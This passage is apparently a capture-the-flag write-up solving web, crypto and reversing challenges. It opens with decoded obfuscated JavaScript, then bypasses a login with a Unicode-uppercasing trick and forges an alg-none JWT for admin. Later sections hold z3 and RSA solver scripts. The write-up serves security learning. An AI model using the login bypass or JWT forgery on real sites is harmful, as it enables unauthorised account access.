\x56\x59\x55\x55\x77\x3D","\x59\x32\x68\x68\x61\x57\x34\x3D","\x51\x58\x70\x4D\x5A\x45\x4D\x3D","\x61\x55\x74\x6C\x57\x55\x6B\x3D","\x62\x6E\x56\x35\x57\x57\x6F\x3D","\x52\x6C\x4E\x69\x54\x55\x63\x3D","\x55\x48\x4A\x72\x56\x6B\x51\x3D","\x5A\x6E\x56\x75\x59\x33\x52\x70\x62\x32\x34\x67\x4B\x6C\x77\x6F\x49\x43\x70\x63\x4B\x51\x3D\x3D","\x63\x6D\x31\x68\x61\x57\x73\x3D","\x56\x46\x4E\x36\x61\x32\x45\x3D","\x59\x33\x4A\x6D\x59\x32\x34\x3D","\x56\x48\x46\x36\x63\x31\x59\x3D","\x58\x43\x74\x63\x4B\x79\x41\x71\x4B\x44\x38\x36\x58\x7A\x42\x34\x4B\x44\x38\x36\x57\x32\x45\x74\x5A\x6A\x41\x74\x4F\x56\x30\x70\x65\x7A\x51\x73\x4E\x6E\x31\x38\x4B\x44\x38\x36\x58\x47\x4A\x38\x58\x47\x51\x70\x57\x32\x45\x74\x65\x6A\x41\x74\x4F\x56\x31\x37\x4D\x53\x77\x30\x66\x53\x67\x2F\x4F\x6C\x78\x69\x66\x46\x78\x6B\x4B\x53\x6B\x3D","\x64\x47\x56\x7A\x64\x41\x3D\x3D","\x61\x55\x4E\x4C\x62\x31\x41\x3D","\x55\x57\x5A\x71\x5A\x56\x49\x3D","\x54\x6B\x74\x59\x56\x57\x77\x3D","\x54\x46\x4A\x4C\x61\x45\x6B\x3D","\x56\x32\x35\x55\x5A\x55\x55\x3D","\x5A\x32\x46\x31\x62\x31\x4D\x3D","\x65\x57\x4A\x30\x56\x48\x6F\x3D","\x59\x58\x42\x77\x62\x48\x6B\x3D","\x52\x57\x70\x6E\x51\x6B\x30\x3D","\x64\x46\x70\x31\x57\x6D\x6F\x3D","\x55\x48\x70\x59\x63\x30\x55\x3D","\x59\x6C\x5A\x51\x63\x47\x51\x3D","\x53\x45\x64\x48\x53\x32\x77\x3D","\x64\x47\x39\x32\x61\x32\x63\x3D","\x54\x45\x78\x72\x65\x6D\x59\x3D","\x5A\x6D\x52\x43\x52\x58\x55\x3D","\x59\x6B\x74\x46\x55\x32\x73\x3D","\x59\x31\x64\x5A\x52\x31\x6F\x3D","\x76\x61\x72\x20\x5F\x30\x78\x66\x64\x33\x39\x3D\x5B\x22\x73\x65\x63\x75\x72\x65\x73\x69\x74\x65\x22\x2C\x22\x6C\x65\x6E\x67\x74\x68\x22\x2C\x22\x63\x68\x61\x72\x43\x6F\x64\x65\x41\x74\x22\x2C\x22\x59\x6F\x75\x20\x68\x61\x76\x65\x20\x79\x6F\x75\x72\x20\x61\x6E\x73\x77\x65\x72\x22\x2C\x22\x6C\x6F\x67\x22\x5D\x3B\x76\x61\x72\x20\x44\x6F\x6E\x74\x43\x68\x61\x6E\x67\x65\x3D\x5B\x36\x36\x2C\x2D\x31\x39\x2C\x2D\x32\x30\x2C\x33\x36\x2C\x2D\x33\x38\x2C\x2D\x36\x35\x2C\x36\x2C\x2D\x31\x33\x2C\x2D\x37\x34\x2C\x2D\x31\x31\x34\x5D\x3B\x76\x61\x72\x20\x75\x73\x65\x72\x3D\x5F\x30\x78\x66\x64\x33\x39\x5B\x30\x5D\x3B\x76\x61\x72\x20\x59\x6F\x75\x72\x41\x6E\x73\x77\x65\x72\x3D\x5B\x30\x2C\x30\x2C\x30\x2C\x30\x2C\x30\x2C\x30\x2C\x30\x2C\x30\x2C\x30\x2C\x30\x5D\x3B\x66\x6F\x72\x28\x76\x61\x72\x20\x69\x3D\x30\x3B\x69\x3C\x20\x44\x6F\x6E\x74\x43\x68\x61\x6E\x67\x65\x5B\x5F\x30\x78\x66\x64\x33\x39\x5B\x31\x5D\x5D\x3B\x69\x2B\x2B\x29\x7B\x69\x66\x28\x28\x44\x6F\x6E\x74\x43\x68\x61\x6E\x67\x65\x5B\x69\x5D\x2B\x20\x59\x6F\x75\x72\x41\x6E\x73\x77\x65\x72\x5B\x69\x5D\x2B\x20\x69\x2A\x20\x31\x30\x29\x21\x3D\x3D\x20\x75\x73\x65\x72\x5B\x5F\x30\x78\x66\x64\x33\x39\x5B\x32\x5D\x5D\x28\x69\x29\x29\x7B\x62\x72\x65\x61\x6B\x7D\x3B\x69\x66\x28\x69\x3D\x3D\x3D\x20\x44\x6F\x6E\x74\x43\x68\x61\x6E\x67\x65\x5B\x5F\x30\x78\x66\x64\x33\x39\x5B\x31\x5D\x5D\x2D\x20\x31\x29\x7B\x63\x6F\x6E\x73\x6F\x6C\x65\x5B\x5F\x30\x78\x66\x64\x33\x39\x5B\x34\x5D\x5D\x28\x5F\x30\x78\x66\x64\x33\x39\x5B\x33\x5D\x29\x7D\x7D"];
var hint=[_0xd4d0[0],_0xd4d0[1],_0xd4d0[2],_0xd4d0[3],_0xd4d0[4],_0xd4d0[5],_0xd4d0[6],_0xd4d0[7],_0xd4d0[8],_0xd4d0[9],_0xd4d0[10],_0xd4d0[11],_0xd4d0[12],_0xd4d0[13],_0xd4d0[14],_0xd4d0[15],_0xd4d0[16],_0xd4d0[17],_0xd4d0[18],_0xd4d0[19],_0xd4d0[20],_0xd4d0[21],_0xd4d0[22],_0xd4d0[23],_0xd4d0[24],_0xd4d0[25],_0xd4d0[26],_0xd4d0[27],_0xd4d0[28],_0xd4d0[29],_0xd4d0[30],_0xd4d0[31],_0xd4d0[32],_0xd4d0[33],_0xd4d0[34],_0xd4d0[35],_0xd4d0[36],_0xd4d0[37],_0xd4d0[38],_0xd4d0[39],_0xd4d0[40],_0xd4d0[41],_0xd4d0[42],_0xd4d0[43],_0xd4d0[44],_0xd4d0[45],_0xd4d0[46],_0xd4d0[47],_0xd4d0[48],_0xd4d0[49],_0xd4d0[50],_0xd4d0[51],_0xd4d0[52],_0xd4d0[53],_0xd4d0[54],_0xd4d0[55],_0xd4d0[56],_0xd4d0[57],_0xd4d0[58],_0xd4d0[59],_0xd4d0[60],_0xd4d0[61],_0xd4d0[62],_0xd4d0[63],_0xd4d0[64],_0xd4d0[65],_0xd4d0[66],_0xd4d0[67],_0xd4d0[68],_0xd4d0[69],_0xd4d0[70],_0xd4d0[71],_0xd4d0[72],_0xd4d0[73],_0xd4d0[74],_0xd4d0[75],_0xd4d0[76],_0xd4d0[77],_0xd4d0[78],_0xd4d0[79],_0xd4d0[80],_0xd4d0[81],_0xd4d0[82],_0xd4d0[83],_0xd4d0[84],_0xd4d0[85],_0xd4d0[86],_0xd4d0[87],_0xd4d0[88],_0xd4d0[89],_0xd4d0[90],_0xd4d0[91],_0xd4d0[92],_0xd4d0[93],_0xd4d0[94],_0xd4d0[95],_0xd4d0[96],_0xd4d0[97],_0xd4d0[98],_0xd4d0[99],_0xd4d0[100],_0xd4d0[101],_0xd4d0[102],_0xd4d0[103],_0xd4d0[104],_0xd4d0[105],_0xd4d0[106],_0xd4d0[107],_0xd4d0[108],_0xd4d0[109],_0xd4d0[110],_0xd4d0[111],_0xd4d0[112],_0xd4d0[113],_0xd4d0[114],_0xd4d0[115],_0xd4d0[116],_0xd4d0[117],_0xd4d0[118],_0xd4d0[119],_0xd4d0[120],_0xd4d0[121],_0xd4d0[122],_0xd4d0[123],_0xd4d0[124],_0xd4d0[125],_0xd4d0[126],_0xd4d0[127],_0xd4d0[128],_0xd4d0[129],_0xd4d0[130],_0xd4d0[131],_0xd4d0[132],_0xd4d0[133],_0xd4d0[134],_0xd4d0[135],_0xd4d0[136],_0xd4d0[137],_0xd4d0[138],_0xd4d0[139],_0xd4d0[140],_0xd4d0[141],_0xd4d0[142],_0xd4d0[143],_0xd4d0[144],_0xd4d0[145],_0xd4d0[146],_0xd4d0[147],_0xd4d0[148],_0xd4d0[149],_0xd4d0[150],_0xd4d0[151],_0xd4d0[152],_0xd4d0[153],_0xd4d0[154],_0xd4d0[155],_0xd4d0[156],_0xd4d0[157],_0xd4d0[158],_0xd4d0[159],_0xd4d0[160],_0xd4d0[161],_0xd4d0[162],_0xd4d0[163],_0xd4d0[164],_0xd4d0[165],_0xd4d0[166],_0xd4d0[167],_0xd4d0[168],_0xd4d0[169],_0xd4d0[170],_0xd4d0[171],_0xd4d0[172],_0xd4d0[173],_0xd4d0[174],_0xd4d0[175],_0xd4d0[176],_0xd4d0[177],_0xd4d0[178],_0xd4d0[179],_0xd4d0[180],_0xd4d0[181],_0xd4d0[182],_0xd4d0[183],_0xd4d0[184],_0xd4d0[185],_0xd4d0[186],_0xd4d0[187],_0xd4d0[188],_0xd4d0[189],_0xd4d0[190],_0xd4d0[191],_0xd4d0[192],_0xd4d0[193],_0xd4d0[194],_0xd4d0[195],_0xd4d0[196],_0xd4d0[197],_0xd4d0[198],_0xd4d0[199],_0xd4d0[200],_0xd4d0[201],_0xd4d0[202],_0xd4d0[203],_0xd4d0[204],_0xd4d0[205],_0xd4d0[206],_0xd4d0[207],_0xd4d0[208],_0xd4d0[209],_0xd4d0[210],_0xd4d0[211],_0xd4d0[212],_0xd4d0[213],_0xd4d0[214],_0xd4d0[215],_0xd4d0[216],_0xd4d0[217],_0xd4d0[218],_0xd4d0[219],_0xd4d0[220],_0xd4d0[221],_0xd4d0[222],_0xd4d0[223],_0xd4d0[224],_0xd4d0[225],_0xd4d0[226],_0xd4d0[227],_0xd4d0[228],_0xd4d0[229],_0xd4d0[230],_0xd4d0[231],_0xd4d0[232],_0xd4d0[233],_0xd4d0[234],_0xd4d0[235],_0xd4d0[236],_0xd4d0[237],_0xd4d0[238],_0xd4d0[239],_0xd4d0[240],_0xd4d0[241],_0xd4d0[242],_0xd4d0[243],_0xd4d0[244],_0xd4d0[245],_0xd4d0[246],_0xd4d0[247],_0xd4d0[248],_0xd4d0[249],_0xd4d0[250],_0xd4d0[251],_0xd4d0[252],_0xd4d0[253],_0xd4d0[254],_0xd4d0[255],_0xd4d0[256],_0xd4d0[257],_0xd4d0[258],_0xd4d0[259],_0xd4d0[260],_0xd4d0[261],_0xd4d0[262],_0xd4d0[263],_0xd4d0[264],_0xd4d0[265],_0xd4d0[266],_0xd4d0[267],_0xd4d0[268],_0xd4d0[269],_0xd4d0[270],_0xd4d0[271],_0xd4d0[272],_0xd4d0[273],_0xd4d0[274],_0xd4d0[275],_0xd4d0[276],_0xd4d0[277],_0xd4d0[278],_0xd4d0[279],_0xd4d0[280],_0xd4d0[281],_0xd4d0[282],_0xd4d0[283],_0xd4d0[284],_0xd4d0[285],_0xd4d0[286],_0xd4d0[287],_0xd4d0[288],_0xd4d0[289],_0xd4d0[290],_0xd4d0[291],_0xd4d0[292],_0xd4d0[293],_0xd4d0[294],_0xd4d0[295],_0xd4d0[296],_0xd4d0[297],_0xd4d0[298],_0xd4d0[299],_0xd4d0[300],_0xd4d0[301],_0xd4d0[302],_0xd4d0[303]]

Running it in the js console, we can see that the hint consist of base64 string. Try to decode each of it will gave us the part 2 of the flag. We got _b3g1n5_w1th_4n_ https://i.imgur.com/Zv0iDkr.png

Now, the last part, if we check _0xd4d0[304] value, we will get another javascript code.

1
var _0xfd39=["securesite","length","charCodeAt","You have your answer","log"];var DontChange=[66,-19,-20,36,-38,-65,6,-13,-74,-114];var user=_0xfd39[0];var YourAnswer=[0,0,0,0,0,0,0,0,0,0];for(var i=0;i< DontChange[_0xfd39[1]];i++){if((DontChange[i]+ YourAnswer[i]+ i* 10)!== user[_0xfd39[2]](i)){break};if(i=== DontChange[_0xfd39[1]]- 1){console[_0xfd39[4]](_0xfd39[3])}}

Basically, to get the last part of the flag, we just need to calculate user[_0xfd39[2]](i)-(i* 10)-DontChange[i]. https://i.imgur.com/ueYuijt.png We got the flag :D

Flag: p_ctf{INfjnity5_b3g1n5_w1th_4n_1nc3pt10n}

Code of Chaos

We were given a website, where we need to bypass the login page. https://i.imgur.com/lRJfRlZ.png Checking the robots.txt, we found the source code of the website.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
require 'sinatra/base'
require 'sinatra'
require "sinatra/cookies"

get '/' do
if request.cookies['auth']
@user = getUsername() # getUsername() - Method to get username from cookies
if @user.upcase == "MICHAEL"
return erb :michael
end
return erb:index
else
return erb :index
end
end

post '/login' do
user = params['username'].to_s[0..20]
password = params['password'].to_s[0..20]
if user =~ /[A-Z]/ or user == 'michael'
info = "Invalid Username/Password"
return erb :login, :locals => {:info => info}
elsif password == "whatever" and user.upcase == "MICHAEL"
set_Cookies(user)
else
info = "Invalid Username/Password"
return erb :login, :locals => {:info => info}
end
redirect '/'
end

Okay, so the requirement is, somehow, we need to login with user michael and pass whatever, but we aren’t allowed to pass michael. And then, the uppercase of our user username should be MICHAEL. How to achieve that? The answer is to use UNICODE. Some unicode will be converted to not-UNICODE during converting it to uppercase. In this case, I use ı unicode, so that the username is mıchael. The upcase result will be MICHAEL, so we can safely login to our website. https://i.imgur.com/5kQmi72.png Okay now we need to get the admin privilege to find the rest of the flag. Checking the cookie, it contains jwt token, which the decrypted result is like below https://i.imgur.com/HFoIYxr.png We can try to bypass this by changing the alg to none and change the user value to admin. Generating the forged jwt token, we get the second flag. Forged jwt: eyJ0eXAiOiAiSldTIiwgImFsZyI6ICJub25lIn0.eyJ1c2VyIjogImFkbWluIn0. https://i.imgur.com/g6ots03.png

Flag: p_ctf{un1c0de_4nd_j3t_m4kes_fu7}

Crypto

One Try

We were given a file like below

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import long_to_bytes,bytes_to_long
from flag import *
assert k.bit_length() == 40
def hide():
    p=95237125230167487838272944166423714051165223593288401382688685829040590786990768778438234082000903807362777558583037575230881045249425322887376601259055892460702772000162982010970208724929645212521533513649369206757681770172577467721506667626730799406015091008310940052579697065207083389866466950134622798087
    q=124379800279519757231453952571634329234726580565504345524807447690769923505626825913853213968267033307369831541137813374478821479720151365039955869403139958659415082657593784893960018420207872886098820339882222586464425407525431977262528398209506069668083100281117639890041468740215875574081639292225496987247
    return pow(bytes_to_long(flag.encode()),k,p*q)

def pad(a):
    if len(a) % 32 != 0:
        a = ((32-len(a) % 32)*chr(0).encode()) + a
    return a

def encrypt(a, key=k):
    ct = [i for i in (pad(long_to_bytes(a)))]
    keys=long_to_bytes(key)
    for x in range(5):
        for i in range(32):
            ct[i]=ct[i]^keys[0]
            for j in range(len(keys)):
                ct[i] = (ct[i] ^ keys[j] if i & 2**j != 0 else ct[i])
        keys = keys[1:]
    return ct

#print(hide())
#9803360482107840935986732378323704110929708112302712803731012575465683179961905078466611828488789490543493731143558620545390953556032902554822421856356533539501430684361482576102587663520949056746659748698357755897924885992782747151219465028805502494393787119343428804346092071091528754744212809617351149272272380807238804504647510591726329582179077324427249076164587445605982981728078911123292553075494650141966258672901488344682939222675606336207847496023541310374013054536034137315183694024407951884904209160042408478973616348037614424915600220818790089801126821003600059671390406058169258661700548713247796139155
#print(encrypt(69837538996696154134353592503427759134303178119205313290251367614441787869767))
#[153, 102, 39, 242, 39, 149, 117, 232, 221, 111, 183, 6, 70, 46, 4, 222, 85, 178, 233, 81, 4, 186, 240, 74, 238, 81, 27, 83, 14, 154, 143, 1]

Reading through the file, we know that we need to know the public exponent value of the RSA Encryption (which is k). We can derive it from the encrypt method. Reading through it, we can simply solve it with z3 to retrieve our k. After getting the k, we can simply do RSA decryption to retrieve the flag. I use sagemath to solve it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from z3 import *
from Crypto.Util.number import long_to_bytes,bytes_to_long

cipher = 9803360482107840935986732378323704110929708112302712803731012575465683179961905078466611828488789490543493731143558620545390953556032902554822421856356533539501430684361482576102587663520949056746659748698357755897924885992782747151219465028805502494393787119343428804346092071091528754744212809617351149272272380807238804504647510591726329582179077324427249076164587445605982981728078911123292553075494650141966258672901488344682939222675606336207847496023541310374013054536034137315183694024407951884904209160042408478973616348037614424915600220818790089801126821003600059671390406058169258661700548713247796139155
p = 95237125230167487838272944166423714051165223593288401382688685829040590786990768778438234082000903807362777558583037575230881045249425322887376601259055892460702772000162982010970208724929645212521533513649369206757681770172577467721506667626730799406015091008310940052579697065207083389866466950134622798087
q = 124379800279519757231453952571634329234726580565504345524807447690769923505626825913853213968267033307369831541137813374478821479720151365039955869403139958659415082657593784893960018420207872886098820339882222586464425407525431977262528398209506069668083100281117639890041468740215875574081639292225496987247
n = p*q

def pad(a):
    if len(a) % 32 != 0:
        a = ((32-len(a) % 32)*chr(0).encode()) + a
    return a

aa = BitVec("aa", 8)
b = BitVec("b", 8)
c = BitVec("c", 8)
d = BitVec("d", 8)
e = BitVec("e", 8)

a = 69837538996696154134353592503427759134303178119205313290251367614441787869767
res = [153, 102, 39, 242, 39, 149, 117, 232, 221, 111, 183, 6, 70, 46, 4, 222, 85, 178, 233, 81, 4, 186, 240, 74, 238, 81, 27, 83, 14, 154, 143, 1]

s = Solver()
ct = [i for i in (pad(long_to_bytes(a)))]
keys = [aa, b, c, d, e]
starting = 0
ct = [i for i in (pad(long_to_bytes(a)))]
keys=[aa, b, c, d, e]
for x in range(5):
    for i in range(32):
        ct[i]=ct[i]^^keys[0]
        for j in range(len(keys)):
            ct[i] = (ct[i] ^^ keys[j] if i & 2**j != 0 else ct[i])
    keys = keys[1:]
for i in range(len(res)):
    s.add(ct[i] == int(res[i]))

if s.check() == sat:
    model = s.model()
    key = bytes_to_long(bytes([model[aa].as_long(), model[b].as_long(), model[c].as_long(), model[d].as_long(), model[e].as_long()]))
    phi = (p-1)*(q-1)
    d = inverse_mod(key, phi)
    m = int(pow(cipher, d, n))
    print(f'Flag: {long_to_bytes(m).decode()}')

Flag: p_ctf{0ne_T1m3_Pads_are_1ns3cur5}

Blind Scout

We were given base64 of encrypted text, and 5 pem file. I try to check whether there is common factor between the modulus of each file, and I found a common modulus between the second and the fourth pem, which mean now we can factor the second and the fourth pem. Trying to decrypt the encrypted with the second pem gave me the result.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
sage: n_arr = [101624963561615795807663999026679788748815571421569462807927860956728888493496000977417890670717889501659207162509309001973634584813285
....: 342662515006961794389212761798054369199413737251594682052270204212522489108642197112766627721236631574948182620021172433826492285874433680636116
....: 813877578486396232272605937561, 1011616617510531186379147101997466731485620478711403355091755786287415666522860447862499110392145759510656666591
....: 470242416519048039892002751007637404549414518731218298102241824341344268742743948423404434709057414369822440704279068689361239474954277506897937
....: 87251736335878699753312245001791230360774169153125961, 95526787053419014109054725109743370408304260719719585954706005684413321609913217550727024
....: 245842583031598086600304887433115914852617240935445485427407699442096748854890978725921696692177567320558635896629488221767729803968358687622408
....: 630160337012535746823742288778463891730458119068421721485754533986448559521, 1392298901743569283830885491292450369489388067227114648628412229866
....: 087851506138834981673061940930326777192231195720059963067126884964384173164941643023918419515241929067350793936588931936577031156295691633910531
....: 29315864720324029971949625294486467313990931665248372153504002783908891387654449725452212287159201, 22757826149764684743463933021927715182500340
....: 484111227818579368360240839107126711849522664234633613754664100700942438561118214061073557590806391491871814598185848108761608510852179612557240
....: 139333852547118051755659499478661739234908902510957853009340542872322052976036210119239981021264970596897721054414227247]
sage: for a in n_arr:
....:     for b in n_arr:
....:         if a != b and gcd(a,b) > 1:
....:             print(a, b, gcd(a, b))
....:             break
....:
101161661751053118637914710199746673148562047871140335509175578628741566652286044786249911039214575951065666659147024241651904803989200275100763740454941451873121829810224182434134426874274394842340443470905741436982244070427906868936123947495427750689793787251736335878699753312245001791230360774169153125961 139229890174356928383088549129245036948938806722711464862841222986608785150613883498167306194093032677719223119572005996306712688496438417316494164302391841951524192906735079393658893193657703115629569163391053129315864720324029971949625294486467313990931665248372153504002783908891387654449725452212287159201 11404558015123108856751187513905109381282387160753409607670595499554019241036182740264653756082739068977207604410155939806146572246665811506938573782182379
139229890174356928383088549129245036948938806722711464862841222986608785150613883498167306194093032677719223119572005996306712688496438417316494164302391841951524192906735079393658893193657703115629569163391053129315864720324029971949625294486467313990931665248372153504002783908891387654449725452212287159201 101161661751053118637914710199746673148562047871140335509175578628741566652286044786249911039214575951065666659147024241651904803989200275100763740454941451873121829810224182434134426874274394842340443470905741436982244070427906868936123947495427750689793787251736335878699753312245001791230360774169153125961 11404558015123108856751187513905109381282387160753409607670595499554019241036182740264653756082739068977207604410155939806146572246665811506938573782182379
sage: import base64
sage: c = base64.b64decode('Z9jO5jqN9+fKNYJ14xA3QV96x4AlIIjOwoGSSq2D0G6ddMnKipNJkS2n0IS3blQAMym5dnzKC5MIetKikgozmzruuKDn2Xbkdv529Na2MXizJEMTxP/ioYzUFl
....: 2rJfg7xvyrNxEyPRWoJievmjpnum2pkrWAknAb+6Hj0Qv5yIo=')
sage: from Crypto.Util.number import *
sage: c = bytes_to_long(c)
sage: e = 65537
sage: n = 10116166175105311863791471019974667314856204787114033550917557862874156665228604478624991103921457595106566665914702424165190480398920027510
....: 076374045494145187312182981022418243413442687427439484234044347090574143698224407042790686893612394749542775068979378725173633587869975331224500
....: 1791230360774169153125961
sage: q = 11404558015123108856751187513905109381282387160753409607670595499554019241036182740264653756082739068977207604410155939806146572246665811506
....: 938573782182379
sage: p = n//q
sage: d = inverse_mod(e, (p-1)*(q-1))
sage: long_to_bytes(int(pow(c,d,n)))
b'p_ctf{010100_100000101100_100110100000111010100010100110100010111001010100111000}'

Because the challenge name is Blind, I assume that the binary is braille. We will get the correct flag after decrypting the binary with braille

Flag: p_ctf{I_AM_DAREDEVIL}

Rev

Oak

We were given a file Oak.class. We can decompile it and it will give us this result

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
//
// Decompiled by Procyon v0.5.36
//

public class Oak
{
    static long[] data;
    
    public static int t_helper(final int n, final int[] array) {
        if (array[n] != -1) {
            return array[n];
        }
        if (n == 0) {
            return array[0] = 0;
        }
        if (n == 1) {
            return array[1] = 1;
        }
        if (n == 2) {
            return array[2] = 3;
        }
        return array[n] = 3 * t_helper(n - 1, array) - 3 * t_helper(n - 2, array) + t_helper(n - 3, array);
    }
    
    public static int t(final int n) {
        final int[] array = new int[n + 1];
        for (int i = 0; i < array.length; ++i) {
            array[i] = -1;
        }
        return t_helper(n, array);
    }
    
    public static void main(final String[] array) {
        if (array.length != 1) {
            System.out.println("Usage: [flag]");
            return;
        }
        if (check(array[0])) {
            System.out.println("Correct!");
        }
        else {
            System.out.println("Incorrect");
        }
    }
    
    public static long[] conv(final String s) {
        final long[] array = new long[s.length()];
        for (int i = 0; i < s.length(); ++i) {
            array[i] = (s.charAt(i) << 8) + s.charAt((i + 1) % s.length());
        }
        return array;
    }
    
    public static boolean check(final String s) {
        final long[] conv = conv(s);
        for (int i = 0; i < conv.length; ++i) {
            if (Oak.data[i] != (conv[i] ^ (long)t(i * i))) {
                return false;
            }
        }
        return true;
    }
    
    static {
        Oak.data = new long[] { 28767L, 24418L, 25470L, 29771L, 26355L, 31349L, 13032L, 30456L, 14663L, 27592L, 8916L, 29409L, 7348L, 17474L, 5124L, 3345L, 49357L, 61058L, 65159L, 53773L, 67886L, 72426L, 103728L, 158125L, 179542L, 166504L, 212101L, 282674L, 320873L, 329272L, 400021L, 479881L, 535081L, 599886L, 662294L, 731441L, 831284L, 947032L, 1021482L };
    }
}

Basically, what it do is it will compare our converted flag value with Oak.data ^ t(i*i). t(i*i value can be easily generated (Just rewrite the t function on python), so we know the value of Oak.data ^ t(i*i). Now, let’s move to the conv function. Basically, what it do is only flag[i] << 8 + flag[i+1]. And because we know the first char should be p (Because the flag is started with p_ctf), we can iteratively recover the flag. Below is the solver script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import sys
import string

sys.setrecursionlimit(2500)

arr = []
for _ in range(39):
    arr.append(-1)

data = [ 28767, 24418, 25470, 29771, 26355, 31349, 13032, 30456, 14663, 27592, 8916, 29409, 7348, 17474, 5124, 3345, 49357, 61058, 65159, 53773, 67886, 72426, 103728, 158125, 179542, 166504, 212101, 282674, 320873, 329272, 400021, 479881, 535081, 599886, 662294, 731441, 831284, 947032, 1021482 ]

def t_helper(n):
    global arr
    if arr[n] != -1:
        return arr[n]
    if n == 0:
        arr[0] = 0
        return arr[0]
    if n == 1:
        arr[1] = 1
        return arr[1]
    if n == 2:
        arr[2] = 3
        return arr[2]
    arr[n] = 3 * t_helper(n - 1) - 3 * t_helper(n - 2) + t_helper(n - 3)
    return arr[n]

def t(n):
    global arr
    arr = []
    for _ in range(39*39+1):
        arr.append(-1)
    return t_helper(n)

# Generate Oak.data[i]^t(i*i)
xored_data = []
for i in range(39):
    res = t(i*i)
    xored_data.append(data[i]^res)

# Iteratively recover flag by assuming the first char of the flag is "p"
flag = 'p'
prev_char = 'p'
for num in xored_data[:-1]:
    for ch in string.printable:
        if ((ord(prev_char) << 8) + ord(ch)) == num:
            flag += ch
            prev_char = ch
            break
print(f'Flag: {flag}')

Flag: p_ctf{0r1g1n4|_n@M3-0f_J4vA_Wa5()/|<}

Social Media

Follow me on twitter